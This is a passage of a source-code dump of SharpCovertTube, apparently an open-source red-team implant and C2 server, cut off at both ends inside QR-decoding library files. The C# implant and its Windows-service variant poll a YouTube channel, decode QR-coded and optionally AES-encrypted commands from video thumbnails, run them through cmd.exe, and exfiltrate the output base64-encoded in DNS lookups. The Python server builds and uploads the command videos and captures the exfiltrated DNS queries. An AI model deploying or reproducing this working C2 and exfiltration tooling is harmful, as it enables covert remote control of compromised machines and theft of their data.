QR corner for validity 166 | ///////////////////////////////////////////////////////////////////// 167 | 168 | internal int InitialVersionNumber() 169 | { 170 | // version number based on top line 171 | double TopModules = 7; 172 | 173 | // top line is mostly horizontal 174 | if (Math.Abs(TopLineDeltaX) >= Math.Abs(TopLineDeltaY)) 175 | { 176 | TopModules += TopLineLength * TopLineLength / 177 | (Math.Abs(TopLineDeltaX) * 0.5 * (TopLeftFinder.HModule + TopRightFinder.HModule)); 178 | } 179 | 180 | // top line is mostly vertical 181 | else 182 | { 183 | TopModules += TopLineLength * TopLineLength / 184 | (Math.Abs(TopLineDeltaY) * 0.5 * (TopLeftFinder.VModule + TopRightFinder.VModule)); 185 | } 186 | 187 | // version number based on left line 188 | double LeftModules = 7; 189 | 190 | // Left line is mostly vertical 191 | if (Math.Abs(LeftLineDeltaY) >= Math.Abs(LeftLineDeltaX)) 192 | { 193 | LeftModules += LeftLineLength * LeftLineLength / 194 | (Math.Abs(LeftLineDeltaY) * 0.5 * (TopLeftFinder.VModule + BottomLeftFinder.VModule)); 195 | } 196 | 197 | // left line is mostly horizontal 198 | else 199 | { 200 | LeftModules += LeftLineLength * LeftLineLength / 201 | (Math.Abs(LeftLineDeltaX) * 0.5 * (TopLeftFinder.HModule + BottomLeftFinder.HModule)); 202 | } 203 | 204 | // version (there is rounding in the calculation) 205 | int Version = ((int)Math.Round(0.5 * (TopModules + LeftModules)) - 15) / 4; 206 | 207 | // not a valid corner 208 | if (Version < 1 || Version > 40) throw new ApplicationException("Corner is not valid (version number must be 1 to 40)"); 209 | 210 | // exit with version number 211 | return Version; 212 | } 213 | } 214 | } -------------------------------------------------------------------------------- /SharpCovertTube/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Drawing; 6 | using System.Collections.Generic; 7 | using SharpCovertTube.QRCodeDecoder; 8 | using static SharpCovertTube.Configuration; 9 | using static SharpCovertTube.CmdFunctions; 10 | using static SharpCovertTube.HelperFunctions; 11 | using static SharpCovertTube.Win32; 12 | 13 | 14 | namespace SharpCovertTube 15 | { 16 | internal class Program 17 | { 18 | // Exfiltrate data via DNS 19 | static void DNSExfil(string response_cmd) { 20 | // Base64-encode the response 21 | if (response_cmd == "") 22 | { 23 | response_cmd = "null"; 24 | } 25 | string base64_response_cmd = Base64Encode(response_cmd); 26 | LogShow("Base64-encoded response:\t\t"+ base64_response_cmd); 27 | int max_size = 100; // 255 - dns_hostname.Length - 1; 28 | if (base64_response_cmd.Length > max_size) { 29 | LogShow("Splitting encoded response in chunks of "+ max_size + " characters"); 30 | } 31 | var parts = SplitInParts(base64_response_cmd, max_size); 32 | foreach (var response_portion in parts) 33 | { 34 | // DNS lookup 35 | try 36 | { 37 | string exfil_hostname = response_portion + dns_hostname; 38 | exfil_hostname = exfil_hostname.Replace("=", ""); 39 | LogShow("DNS lookup against:\t\t\t" + exfil_hostname); 40 | Dns.GetHostAddresses(exfil_hostname); 41 | } 42 | catch (Exception e) 43 | { 44 | if (e.GetType().ToString() != "System.Net.Sockets.SocketException") 45 | { 46 | LogShow("[-] Exception: " + e.ToString()); 47 | } 48 | } 49 | } 50 | } 51 | 52 | 53 | // Get cleartext QR-decoded value and delete binary and stop the process (option "kill") or execute the command 54 | static string ExecuteCommand(string command) 55 | { 56 | if (command == "kill") 57 | { 58 | DeleteAndKill(); 59 | return ""; 60 | } 61 | else 62 | { 63 | string output = OrdinaryCmd(command); 64 | return output; 65 | } 66 | } 67 | 68 | 69 | // Check if value is AES-decryptable and decrypt if it is 70 | static string TryDecrypt(string payload) 71 | { 72 | try { 73 | string base64_decoded = Base64Decode(payload); 74 | string decrypted_cmd = DecryptStringFromBytes(base64_decoded, Encoding.ASCII.GetBytes(payload_aes_key), Encoding.ASCII.GetBytes(payload_aes_iv)); 75 | LogShow("Payload was AES-encrypted"); 76 | return decrypted_cmd; 77 | } 78 | catch { 79 | LogShow("Payload was not AES-encrypted"); 80 | return payload; 81 | } 82 | } 83 | 84 | 85 | // Receive a QR image as Bitmap, read the value and return it as string. Source: https://github.com/Stefangansevles/QR-Capture 86 | static string DecodeQR(Bitmap QRCodeInputImage) 87 | { 88 | QRDecoder decoder = new QRDecoder(); 89 | byte[][] DataByteArray = decoder.ImageDecoder(QRCodeInputImage); 90 | if (DataByteArray == null) 91 | { 92 | Console.WriteLine("DataByteArray is null"); 93 | return ""; 94 | } 95 | string code = ByteArrayToStr(DataByteArray[0]); 96 | return code; 97 | } 98 | 99 | 100 | // Read the QR image as Bitmap from the Youtube thumbnail URL and return the value as string 101 | static string ReadQR(string thumbnail_url) 102 | { 103 | var client = new WebClient(); 104 | var stream = client.OpenRead(thumbnail_url); 105 | if (stream == null) return ""; 106 | Bitmap bitmap_from_image = new Bitmap(stream); 107 | string decoded_cmd = DecodeQR(bitmap_from_image); 108 | return decoded_cmd; 109 | } 110 | 111 | 112 | // Get the video's thumbnail url, read the QR code value in it, decrypt it and execute the command. If enabled, exfiltrate the response using DNS 113 | static void ReadVideo(string video_id, string channel_url) 114 | { 115 | LogShow("Reading new video with ID: \t\t" + video_id); 116 | string thumbnail_url = "https://i.ytimg.com/vi/" + video_id + "/hqdefault.jpg"; 117 | 118 | // Read QR 119 | string qr_decoded_cmd = ReadQR(thumbnail_url); 120 | LogShow("Value decoded from QR:\t\t" + qr_decoded_cmd); 121 | 122 | // Decrypt in case it is AES-encrypted 123 | string decrypted_cmd = TryDecrypt(qr_decoded_cmd); 124 | LogShow("Value after trying to AES-decrypt:\t" + decrypted_cmd); 125 | 126 | // Execute command 127 | string response_cmd = ExecuteCommand(decrypted_cmd); 128 | response_cmd.Trim(); 129 | LogShow("Response from command:\t\t" + response_cmd); 130 | 131 | // Exfiltrate 132 | if (dns_exfiltration) { 133 | DNSExfil(response_cmd); 134 | } 135 | } 136 | 137 | 138 | // Request the information about the channel URL from the API, parse to JSON using APIInfo.cs and return a List with the videos IDs 139 | static List GetVideoIds(string channel_url) 140 | { 141 | List VideoIds = new List(); 142 | string json_response_str = getRequest(channel_url); 143 | 144 | var deserialized = JSONSerializer.DeSerialize(json_response_str); 145 | foreach (Item item in deserialized.items) 146 | { 147 | VideoIds.Add(item.id.videoId); 148 | } 149 | 150 | return VideoIds; 151 | } 152 | 153 | 154 | // Get initial videos ids, sleep a specific amount of time and check if there are new videos, if so call ReadVideo for each of them 155 | static void MonitorChannel(string channel_url, int seconds_delay) { 156 | // Initial videos 157 | List Initial_VideoIds = GetVideoIds(channel_url); 158 | int number_of_videos = Initial_VideoIds.Count; 159 | foreach (string value in Initial_VideoIds) 160 | { 161 | LogShow("Video already uploaded with ID " + value); 162 | } 163 | 164 | while (true) 165 | { 166 | // Sleep 167 | LogShow("Sleeping "+ seconds_delay + " seconds"); 168 | System.Threading.Thread.Sleep(1000 * seconds_delay); 169 | 170 | // Get list of videos 171 | List VideoIds = GetVideoIds(channel_url); 172 | var firstNotSecond = VideoIds.Except(Initial_VideoIds); 173 | // If new videos -> Read 174 | if (firstNotSecond != null && firstNotSecond.Any()) { 175 | LogShow("New video(s) uploaded!"); 176 | 177 | foreach (var video_id in firstNotSecond) 178 | { 179 | ReadVideo(video_id, channel_url); 180 | } 181 | 182 | number_of_videos = VideoIds.Count; 183 | Initial_VideoIds = VideoIds; 184 | } 185 | // No new videos 186 | else 187 | { 188 | LogShow("No new videos... Total number of uploaded videos: \t" + VideoIds.Count); 189 | } 190 | } 191 | } 192 | 193 | 194 | // If enabled, write message to console ("debug_console" parameter) or file ("log_to_file" parameter) 195 | public static void LogShow(string msg) 196 | { 197 | msg = "[" + DateTime.Now.ToString("HH:mm:ss").ToString() + "] " + msg; 198 | if (debug_console) 199 | { 200 | Console.WriteLine(msg); 201 | } 202 | if (log_to_file) 203 | { 204 | using (System.IO.StreamWriter writer = System.IO.File.AppendText(log_file)) 205 | { 206 | writer.WriteLine(msg); 207 | } 208 | } 209 | } 210 | 211 | 212 | // Loop to wait 1 minute if there is not internet connection 213 | public static void WaitForInternetConnection() 214 | { 215 | while (InternetGetConnectedState(out _, 0) == false) 216 | { 217 | System.Threading.Thread.Sleep(1000 * 60); 218 | } 219 | } 220 | 221 | 222 | static void Main(string[] args) 223 | { 224 | if (channel_id == "" || api_key == "") { 225 | LogShow("Fill the channel_id and api_key values in Configuration.cs file before running the program."); 226 | System.Environment.Exit(0); 227 | } 228 | WaitForInternetConnection(); 229 | LogShow("Monitoring Youtube channel with id " + channel_id); 230 | string channel_url = "https://www.googleapis.com/youtube/v3/search?" + "part=snippet&channelId=" + channel_id + "&maxResults=100&order=date&type=video&key=" + api_key; 231 | MonitorChannel(channel_url, seconds_delay); 232 | } 233 | } 234 | } -------------------------------------------------------------------------------- /SharpCovertTube_Service/SharpCovertTube.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Drawing; 7 | using System.Diagnostics; 8 | using System.Collections.Generic; 9 | using SharpCovertTube_Service.QRCodeDecoder; 10 | using static SharpCovertTube_Service.Configuration; 11 | using static SharpCovertTube_Service.HelperFunctions; 12 | 13 | 14 | namespace SharpCovertTube_Service 15 | { 16 | internal class SharpCovertTube 17 | { 18 | // Exfiltrate data via DNS 19 | static void DNSExfil(string response_cmd) 20 | { 21 | // Base64-encode the response 22 | if (response_cmd == "") 23 | { 24 | response_cmd = "null"; 25 | } 26 | string base64_response_cmd = Base64Encode(response_cmd); 27 | LogShow("Base64-encoded response:\t\t" + base64_response_cmd); 28 | int max_size = 100; // 255 - dns_hostname.Length - 1; 29 | if (base64_response_cmd.Length > max_size) 30 | { 31 | LogShow("Splitting encoded response in chunks of " + max_size + " characters"); 32 | } 33 | var parts = SplitInParts(base64_response_cmd, max_size); 34 | foreach (var response_portion in parts) 35 | { 36 | // DNS lookup 37 | try 38 | { 39 | string exfil_hostname = response_portion + dns_hostname; 40 | exfil_hostname = exfil_hostname.Replace("=", ""); 41 | LogShow("DNS lookup against:\t\t\t" + exfil_hostname); 42 | Dns.GetHostAddresses(exfil_hostname); 43 | } 44 | catch (Exception e) 45 | { 46 | if (e.GetType().ToString() != "System.Net.Sockets.SocketException") 47 | { 48 | LogShow("[-] Exception: " + e.ToString()); 49 | } 50 | } 51 | } 52 | } 53 | 54 | 55 | // Execute command 56 | public static string OrdinaryCmd(string command) 57 | { 58 | string output = ""; 59 | using (Process process = new Process()) 60 | { 61 | process.StartInfo.FileName = "cmd.exe"; 62 | process.StartInfo.Arguments = "/c " + command; 63 | process.StartInfo.UseShellExecute = false; 64 | process.StartInfo.RedirectStandardOutput = true; 65 | process.Start(); 66 | StreamReader reader2 = process.StandardOutput; 67 | output = reader2.ReadToEnd(); 68 | process.WaitForExit(); 69 | } 70 | return output; 71 | } 72 | 73 | 74 | // Get cleartext QR-decoded value and delete binary and stop the process (option "kill") or execute the command 75 | static string ExecuteCommand(string command) 76 | { 77 | string output = OrdinaryCmd(command); 78 | return output; 79 | } 80 | 81 | 82 | // Check if value is AES-decryptable and decrypt if it is 83 | static string TryDecrypt(string payload) 84 | { 85 | try 86 | { 87 | string base64_decoded = Base64Decode(payload); 88 | string decrypted_cmd = DecryptStringFromBytes(base64_decoded, Encoding.ASCII.GetBytes(payload_aes_key), Encoding.ASCII.GetBytes(payload_aes_iv)); 89 | LogShow("Payload was AES-encrypted"); 90 | return decrypted_cmd; 91 | } 92 | catch 93 | { 94 | LogShow("Payload was not AES-encrypted"); 95 | return payload; 96 | } 97 | } 98 | 99 | 100 | // Receive a QR image as Bitmap, read the value and return it as string. Source: https://github.com/Stefangansevles/QR-Capture 101 | static string DecodeQR(Bitmap QRCodeInputImage) 102 | { 103 | QRDecoder decoder = new QRDecoder(); 104 | byte[][] DataByteArray = decoder.ImageDecoder(QRCodeInputImage); 105 | if (DataByteArray == null) 106 | { 107 | Console.WriteLine("DataByteArray is null"); 108 | return ""; 109 | } 110 | string code = ByteArrayToStr(DataByteArray[0]); 111 | return code; 112 | } 113 | 114 | 115 | // Read the QR image as Bitmap from the Youtube thumbnail URL and return the value as string 116 | static string ReadQR(string thumbnail_url) 117 | { 118 | var client = new WebClient(); 119 | var stream = client.OpenRead(thumbnail_url); 120 | if (stream == null) return ""; 121 | Bitmap bitmap_from_image = new Bitmap(stream); 122 | string decoded_cmd = DecodeQR(bitmap_from_image); 123 | return decoded_cmd; 124 | } 125 | 126 | 127 | // Get the video's thumbnail url, read the QR code value in it, decrypt it and execute the command. If enabled, exfiltrate the response using DNS 128 | static void ReadVideo(string video_id, string channel_url) 129 | { 130 | LogShow("Reading new video with ID: \t\t" + video_id); 131 | string thumbnail_url = "https://i.ytimg.com/vi/" + video_id + "/hqdefault.jpg"; 132 | 133 | // Read QR 134 | string qr_decoded_cmd = ReadQR(thumbnail_url); 135 | LogShow("Value decoded from QR:\t\t" + qr_decoded_cmd); 136 | 137 | // Decrypt in case it is AES-encrypted 138 | string decrypted_cmd = TryDecrypt(qr_decoded_cmd); 139 | LogShow("Value after trying to AES-decrypt:\t" + decrypted_cmd); 140 | 141 | // Execute command 142 | string response_cmd = ExecuteCommand(decrypted_cmd); 143 | response_cmd.Trim(); 144 | LogShow("Response from command:\t\t" + response_cmd); 145 | 146 | // Exfiltrate 147 | if (dns_exfiltration) 148 | { 149 | DNSExfil(response_cmd); 150 | } 151 | } 152 | 153 | 154 | // Request the information about the channel URL from the API, parse to JSON using APIInfo.cs and return a List with the videos IDs 155 | static List GetVideoIds(string channel_url) 156 | { 157 | List VideoIds = new List(); 158 | string json_response_str = getRequest(channel_url); 159 | 160 | var deserialized = JSONSerializer.DeSerialize(json_response_str); 161 | foreach (Item item in deserialized.items) 162 | { 163 | VideoIds.Add(item.id.videoId); 164 | } 165 | 166 | return VideoIds; 167 | } 168 | 169 | 170 | // Get initial videos ids, sleep a specific amount of time and check if there are new videos, if so call ReadVideo for each of them 171 | static void MonitorChannel(string channel_url, int seconds_delay) 172 | { 173 | // Initial videos 174 | List Initial_VideoIds = GetVideoIds(channel_url); 175 | int number_of_videos = Initial_VideoIds.Count; 176 | foreach (string value in Initial_VideoIds) 177 | { 178 | LogShow("Video already uploaded with ID " + value); 179 | } 180 | 181 | while (true) 182 | { 183 | // Sleep 184 | LogShow("Sleeping " + seconds_delay + " seconds"); 185 | System.Threading.Thread.Sleep(1000 * seconds_delay); 186 | 187 | // Get list of videos 188 | List VideoIds = GetVideoIds(channel_url); 189 | var firstNotSecond = VideoIds.Except(Initial_VideoIds); 190 | // If new videos -> Read 191 | if (firstNotSecond != null && firstNotSecond.Any()) 192 | { 193 | LogShow("New video(s) uploaded!"); 194 | 195 | foreach (var video_id in firstNotSecond) 196 | { 197 | ReadVideo(video_id, channel_url); 198 | } 199 | 200 | number_of_videos = VideoIds.Count; 201 | Initial_VideoIds = VideoIds; 202 | } 203 | // No new videos 204 | else 205 | { 206 | LogShow("No new videos... Total number of uploaded videos: \t" + VideoIds.Count); 207 | } 208 | } 209 | } 210 | 211 | 212 | // If enabled, write message to console ("debug_console" parameter) or file ("log_to_file" parameter) 213 | public static void LogShow(string msg) 214 | { 215 | msg = "[" + DateTime.Now.ToString("HH:mm:ss").ToString() + "] " + msg; 216 | if (log_to_file) 217 | { 218 | using (System.IO.StreamWriter writer = System.IO.File.AppendText(log_file)) 219 | { 220 | writer.WriteLine(msg); 221 | } 222 | } 223 | } 224 | 225 | 226 | public static void Start() 227 | { 228 | if (channel_id == "" || api_key == "") 229 | { 230 | LogShow("Fill the channel_id and api_key values in Configuration.cs file before running the program."); 231 | System.Environment.Exit(0); 232 | } 233 | LogShow("Monitoring Youtube channel with id " + channel_id); 234 | string channel_url = "https://www.googleapis.com/youtube/v3/search?" + "part=snippet&channelId=" + channel_id + "&maxResults=100&order=date&type=video&key=" + api_key; 235 | MonitorChannel(channel_url, seconds_delay); 236 | } 237 | } 238 | } -------------------------------------------------------------------------------- /c2-server/c2-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from youtube_upload.client import YoutubeUploader 3 | from Crypto.Cipher import AES 4 | from dnslib import DNSRecord 5 | from glob import glob 6 | import datetime 7 | import base64 8 | import socket 9 | import rebus 10 | import cv2 11 | import sys 12 | import re 13 | import os 14 | import config 15 | 16 | 17 | def aes_decrypt(encrypted_message, aes_key, aes_iv): 18 | rebus_decoded = rebus.b64decode(encrypted_message.encode('utf-8')) 19 | encrypted_message = base64.b64decode(rebus_decoded) 20 | BS = 16 21 | unpad = lambda s: s[:-s[-1]] 22 | aes_key_bytes = str.encode(aes_key) 23 | iv_bytes = str.encode(aes_iv) 24 | cipher = AES.new(aes_key_bytes, AES.MODE_CBC, iv_bytes) 25 | raw = cipher.decrypt(encrypted_message) 26 | message = unpad(raw).decode('utf-8') 27 | return message 28 | 29 | 30 | def aes_encrypt(message, aes_key, aes_iv): 31 | message = message.encode() 32 | BS = 16 33 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode() 34 | raw = pad(message) 35 | aes_key_bytes = str.encode(aes_key) 36 | iv_bytes = str.encode(aes_iv) 37 | cipher = AES.new(aes_key_bytes, AES.MODE_CBC, iv_bytes) 38 | enc = cipher.encrypt(raw) 39 | rebus_encoded = rebus.b64encode(base64.b64encode(enc).decode('utf-8')) 40 | return rebus_encoded.decode("utf-8") 41 | 42 | 43 | def decode_base64(encoded_str): 44 | aes_key = config.aes_key 45 | aes_iv = config.aes_iv 46 | try: 47 | decoded_string = base64.b64decode(encoded_str).decode("utf-8") 48 | try: 49 | decrypted_str = aes_decrypt(decoded_str, aes_key, aes_iv) 50 | return decrypted_str 51 | except: 52 | pass 53 | return decoded_string 54 | except: 55 | pass 56 | try: 57 | decoded_string = base64.b64decode(encoded_str+"=").decode("utf-8") 58 | try: 59 | decrypted_str = aes_decrypt(decoded_str, aes_key, aes_iv) 60 | return decrypted_str 61 | except: 62 | pass 63 | return decoded_string 64 | except: 65 | pass 66 | try: 67 | decoded_string = base64.b64decode(encoded_str+"==").decode("utf-8") 68 | try: 69 | decrypted_str = aes_decrypt(decoded_str, aes_key, aes_iv) 70 | return decrypted_str 71 | except: 72 | pass 73 | return decoded_string 74 | except: 75 | pass 76 | return "" 77 | 78 | 79 | def listener(ns_subdomain, log_file): 80 | print("[+] Monitoring DNS queries for subdomain " + ns_subdomain) 81 | print("[+] Storing queries in " + log_file) 82 | 83 | log_entries = [] 84 | subdomain_base64_aux = "" 85 | counter = 0 86 | 87 | while True: 88 | try: 89 | server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 90 | server.bind(('0.0.0.0', 53)) 91 | server.settimeout(5) 92 | data, addr = server.recvfrom(4096) 93 | d = DNSRecord.parse(data) 94 | subdomain = str(d.questions[0]._qname).split(ns_subdomain)[0] 95 | 96 | now = datetime.datetime.now() 97 | current_time = now.strftime(f"%H:%M") 98 | log_entry = current_time + " " + subdomain 99 | one_min_ago = now - datetime.timedelta(minutes=1) 100 | one_min_ago_time = one_min_ago.strftime(f"%H:%M") 101 | log_entry_one_min_ago = one_min_ago_time + " " + subdomain 102 | 103 | # Note: I only log DNS queries not repeated in the last minute, if you want more you can uncomment the else statement but queries will be redundant 104 | if log_entry not in log_entries and log_entry_one_min_ago not in log_entries: 105 | if( (counter >= 4) and (subdomain_base64_aux != "") ): 106 | subdomain_base64_aux = "" 107 | counter = 0 108 | # Log entry 109 | subdomain_base64_aux += subdomain 110 | print("[+] Log entry: \t" + log_entry) 111 | log_entries.append(log_entry) 112 | f = open(log_file, "a") 113 | f.write(log_entry + "\n") 114 | f.close() 115 | # Decode subdomain if possible 116 | print("[+] Encoded string:\t" + subdomain_base64_aux) 117 | decoded_str = decode_base64(subdomain_base64_aux) 118 | if decoded_str != "": 119 | print("[+] Result: \n" + decoded_str) 120 | 121 | except socket.timeout: 122 | if subdomain_base64_aux != "": 123 | counter += 1 124 | pass 125 | except KeyboardInterrupt: 126 | server.close() 127 | main_loop() 128 | except Exception as e: 129 | print("Unexpected exception: " + str(e)) 130 | break 131 | 132 | server.close() 133 | 134 | 135 | def generate_frames(image_type, command, aes_key, aes_iv): 136 | if image_type == "qr": 137 | import pyqrcode 138 | qrcode = pyqrcode.create(command,version=10) 139 | qrcode.png("image.png",scale=8) 140 | elif image_type == "qr_aes": 141 | import pyqrcode 142 | encrypted_cmd = aes_encrypt(command,aes_key, aes_iv) 143 | print("[+] AES-encrypted value: "+encrypted_cmd) 144 | qrcode = pyqrcode.create(encrypted_cmd,version=10) 145 | qrcode.png("image.png",scale=8) 146 | else: 147 | print("Unknown type") 148 | return 1 149 | 150 | 151 | def create_file(video_file): 152 | img_array = [] 153 | natsort = lambda s: [int(t) if t.isdigit() else t.lower() for t in re.split(r'(\d+)', s)] 154 | for filename in sorted(glob('*.png'), key=natsort): 155 | img = cv2.imread(filename) 156 | height, width, layers = img.shape 157 | size = (width,height) 158 | img_array.append(img) 159 | img_array.append(img) 160 | img_array.append(img) 161 | img_array.append(img) 162 | fps = 1 163 | out = cv2.VideoWriter(video_file,cv2.VideoWriter_fourcc(*'DIVX'), fps, size) 164 | for i in range(len(img_array)): 165 | out.write(img_array[i]) 166 | out.release() 167 | 168 | 169 | def generate_video(image_type, video_file, aes_key, aes_iv, command): 170 | generate_frames(image_type, command, aes_key, aes_iv) 171 | if not video_file.endswith(".avi"): 172 | video_file += ".avi" 173 | print("[+] Creating file in the path "+video_file+"\n") 174 | create_file(video_file) 175 | os.remove("image.png") 176 | 177 | 178 | def upload_video(video_name): 179 | client_id = config.client_id 180 | client_secret = config.client_secret 181 | access_token_ = config.access_token_ 182 | refresh_token_ = config.refresh_token_ 183 | 184 | if (client_id == "" or client_secret == "" or access_token_ == "" or refresh_token_ == ""): 185 | print("[-] Some values are missing in config.py file\n") 186 | main_loop() 187 | print("[+] Uploading video...") 188 | uploader = YoutubeUploader(client_id, client_secret) 189 | uploader.authenticate(access_token=access_token_, refresh_token=refresh_token_) 190 | # Video options 191 | options = { 192 | "title" : "Test -" + video_name, 193 | "description" : "SharpCovertTube test", 194 | "tags" : ["sharpcoverttube"], 195 | "categoryId" : "22", 196 | "privacyStatus" : "public", 197 | "kids" : False, 198 | } 199 | uploader.upload(video_name, options) 200 | uploader.close() 201 | os.remove(video_name) 202 | print("[+] Video uploaded\n") 203 | 204 | 205 | def showHelp(): 206 | print("Options: \n - \"generate\": \tCreate a QR video \n - \"upload\": \tUpload a video to Youtube \n - \"listen\": \tListen for DNS queries \n - \"all\": \tCreate a QR video + Upload a video to Youtube + Listen for DNS queries\n - \"exit\": \tExit the program \n") 207 | 208 | 209 | def main_loop(): 210 | while True: 211 | ns_subdomain = config.ns_subdomain 212 | log_file = config.log_file 213 | option = input("> ") 214 | if option == "generate": 215 | command_ = input("[+] Command: ") 216 | type_ = input("[+] Type (\"qr\" or \"qr_aes\"): ") 217 | if (type_ != "qr" and type_ != "qr_aes"): 218 | print("[-] Type value must be \"qr\" or \"qr_aes\"\n") 219 | main_loop() 220 | aeskey = "" 221 | aesiv = "" 222 | if type_ == "qr_aes": 223 | aeskey = input("[+] AES key (example: \"0000000000000000\"): ") 224 | if(len(aeskey) % 16 != 0): 225 | print("[-] AES key length must be multiple of 16.") 226 | main_loop() 227 | aesiv = input("[+] AES IV (example: \"0000000000000000\"): ") 228 | if(len(aesiv) % 16 != 0): 229 | print("[-] IV length must be multiple of 16.") 230 | main_loop() 231 | file_ = input("[+] Video file name: ") 232 | generate_video(type_, file_, aeskey, aesiv, command_) 233 | elif option == "upload": 234 | file_ = input("[+] Video file name: ") 235 | upload_video(file_) 236 | elif option == "listen": 237 | listener(ns_subdomain, log_file) 238 | elif option == "all": 239 | command_ = input("[+] Command: ") 240 | type_ = input("[+] Type (\"qr\" or \"qr_aes\"): ") 241 | if (type_ != "qr" and type_ != "qr_aes"): 242 | print("[-] Type value must be \"qr\" or \"qr_aes\"\n") 243 | main_loop() 244 | aeskey = "" 245 | aesiv = "" 246 | if type_ == "qr_aes": 247 | aeskey = input("[+] AES key (example: \"0000000000000000\"): ") 248 | if(len(aeskey) % 16 != 0): 249 | print("[-] AES key length must be multiple of 16.") 250 | main_loop() 251 | aesiv = input("[+] AES IV (example: \"0000000000000000\"): ") 252 | if(len(aesiv) % 16 != 0): 253 | print("[-] IV length must be multiple of 16.") 254 | main_loop() 255 | file_ = "test.avi" 256 | generate_video(type_, file_, aeskey, aesiv, command_) 257 | upload_video(file_) 258 | listener(ns_subdomain, log_file) 259 | elif option == "exit": 260 | sys.exit(0) 261 | else: 262 | print("") 263 | showHelp() 264 | 265 | 266 | def showBanner(): 267 | print(" ___ _ ___ _ _____ _ ") 268 | print(" / __|| |_ __ _ _ _ _ __ / __| ___ __ __ ___ _ _ | |_|_ _|_ _ | |__ ___ ") 269 | print(" \\__ \\| ' \\ / _` || '_|| '_ \\| (__ / _ \\\\ V // -_)| '_|| _| | | | || || '_ \\/ -_)") 270 | print(" |___/|_||_|\\__,_||_| | .__/ \\___|\\___/ \\_/ \\___||_| \\__| |_| \\_,_||_.__/\\___|") 271 | print(" |_| by @ricardojoserf ") 272 | showHelp() 273 | 274 | 275 | def main(): 276 | if config.show_banner: 277 | showBanner() 278 | main_loop() 279 | 280 | 281 | if __name__== "__main__": 282 | main() 283 | -------------------------------------------------------------------------------- /SharpCovertTube/QRCodeDecoder/ReedSolomon.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code error correction calculations. 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | using System; 45 | 46 | namespace SharpCovertTube.QRCodeDecoder 47 | { 48 | internal class ReedSolomon 49 | { 50 | internal static int INCORRECTABLE_ERROR = -1; 51 | 52 | internal static int CorrectData 53 | ( 54 | byte[] ReceivedData, // recived data buffer with data and error correction code 55 | int DataLength, // length of data in the buffer (note sometimes the array is longer than data) 56 | int ErrCorrCodewords // numer of error correction codewords 57 | ) 58 | { 59 | // calculate syndrome vector 60 | int[] Syndrome = CalculateSyndrome(ReceivedData, DataLength, ErrCorrCodewords); 61 | 62 | // received data has no error 63 | // note: this should not happen because we call this method only if error was detected 64 | if (Syndrome == null) return 0; 65 | 66 | // Modified Berlekamp-Massey 67 | // calculate sigma and omega 68 | int[] Sigma = new int[ErrCorrCodewords / 2 + 2]; 69 | int[] Omega = new int[ErrCorrCodewords / 2 + 1]; 70 | int ErrorCount = CalculateSigmaMBM(Sigma, Omega, Syndrome, ErrCorrCodewords); 71 | 72 | // data cannot be corrected 73 | if (ErrorCount <= 0) return INCORRECTABLE_ERROR; 74 | 75 | // look for error position using Chien search 76 | int[] ErrorPosition = new int[ErrorCount]; 77 | if (!ChienSearch(ErrorPosition, DataLength, ErrorCount, Sigma)) return INCORRECTABLE_ERROR; 78 | 79 | // correct data array based on position array 80 | ApplyCorrection(ReceivedData, DataLength, ErrorCount, ErrorPosition, Sigma, Omega); 81 | 82 | // return error count before it was corrected 83 | return ErrorCount; 84 | } 85 | 86 | // Syndrome vector calculation 87 | // S0 = R0 + R1 + R2 + .... + Rn 88 | // S1 = R0 + R1 * A**1 + R2 * A**2 + .... + Rn * A**n 89 | // S2 = R0 + R1 * A**2 + R2 * A**4 + .... + Rn * A**2n 90 | // .... 91 | // Sm = R0 + R1 * A**m + R2 * A**2m + .... + Rn * A**mn 92 | 93 | internal static int[] CalculateSyndrome 94 | ( 95 | byte[] ReceivedData, // recived data buffer with data and error correction code 96 | int DataLength, // length of data in the buffer (note sometimes the array is longer than data) 97 | int ErrCorrCodewords // numer of error correction codewords 98 | ) 99 | { 100 | // allocate syndrome vector 101 | int[] Syndrome = new int[ErrCorrCodewords]; 102 | 103 | // reset error indicator 104 | bool Error = false; 105 | 106 | // syndrome[zero] special case 107 | // Total = Data[0] + Data[1] + ... Data[n] 108 | int Total = ReceivedData[0]; 109 | for (int SumIndex = 1; SumIndex < DataLength; SumIndex++) Total = ReceivedData[SumIndex] ^ Total; 110 | Syndrome[0] = Total; 111 | if (Total != 0) Error = true; 112 | 113 | // all other synsromes 114 | for (int Index = 1; Index < ErrCorrCodewords; Index++) 115 | { 116 | // Total = Data[0] + Data[1] * Alpha + Data[2] * Alpha ** 2 + ... Data[n] * Alpha ** n 117 | Total = ReceivedData[0]; 118 | for (int 